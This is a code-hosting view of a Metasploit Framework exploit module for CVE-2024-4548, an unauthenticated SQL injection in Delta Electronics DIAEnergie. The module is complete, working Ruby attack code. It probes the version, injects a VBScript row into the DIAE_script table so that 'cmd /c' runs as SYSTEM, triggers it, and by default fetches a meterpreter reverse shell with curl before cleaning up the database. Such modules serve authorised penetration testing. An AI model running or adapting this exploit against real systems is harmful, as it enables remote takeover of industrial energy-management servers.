rapid7/metasploit-framework

View on GitHub
modules/exploits/windows/scada/diaenergie_sqli.rb

Summary

Maintainability
B
4 hrs
Test Coverage
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DIAEnergie SQL Injection (CVE-2024-4548)',
        'Description' => %q{
          SQL injection vulnerability in DIAEnergie <= v1.10 from Delta Electronics.
          This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get executed in the context of NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Heinzl', # MSF exploit
          'Tenable' # Discovery & PoC
        ],
        'References' => [
          [ 'URL', 'https://www.tenable.com/security/research/tra-2024-13'],
          [ 'CVE', '2024-4548']
        ],
        'DisclosureDate' => '2024-05-06',
        'Platform' => 'win',
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'CURL',
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
              },
              'Type' => :win_fetch
            }
          ]
        ],
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(928)
      ]
    )
  end

  # Determine if the DIAEnergie version is vulnerable
  def check
    begin
      connect
      sock.put 'Who is it?'
      res = sock.get || ''
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    ensure
      disconnect
    end

    if res.empty?
      vprint_status('Received an empty response.')
      return Exploit::CheckCode::Unknown
    end

    vprint_status('Who is it response: ' + res.to_s)
    version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/
    version = res.match(version_pattern)

    if version[0].nil?
      Exploit::CheckCode::Detected
    end

    vprint_status('Version retrieved: ' + version[0])

    unless Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610')
      return CheckCode::Safe
    end

    return CheckCode::Appears
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    scname = Rex::Text.rand_text_alphanumeric(5..10).to_s
    vprint_status('Using random script name: ' + scname)

    year = rand(2024..2026)
    month = sprintf('%02d', rand(1..12))
    day = sprintf('%02d', rand(1..29))
    random_date = "#{year}-#{month}-#{day}"
    vprint_status('Using random date: ' + random_date)

    hour = sprintf('%02d', rand(0..23))
    minute = sprintf('%02d', rand(0..59))
    second = sprintf('%02d', rand(0..59))
    random_time = "#{hour}:#{minute}:#{second}"
    vprint_status('Using random time: ' + random_time)

    # Inject payload
    begin
      print_status('Sending SQL injection...')
      connect
      vprint_status("RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--")
      sock.put "RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"
      res = sock.get
      unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
        fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
      end

      vprint_status('Injection - Expected response received: ' + res.to_s)
      disconnect

      # Trigger
      print_status('Triggering script execution...')
      connect
      sock.put "RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1"
      res = sock.get
      unless res.to_s == 'Recalculate Script Start!'
        fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
      end
      vprint_status('Trigger - Expected response received: ' + res.to_s)

      disconnect

      print_good('Script successfully injected, check thy shell.')
    ensure
      # Cleanup
      print_status('Cleaning up database...')
      connect
      sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"
      res = sock.get
      unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
        fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
      end
      vprint_status('Cleanup - Expected response received: ' + res.to_s)

      disconnect
    end
  end
end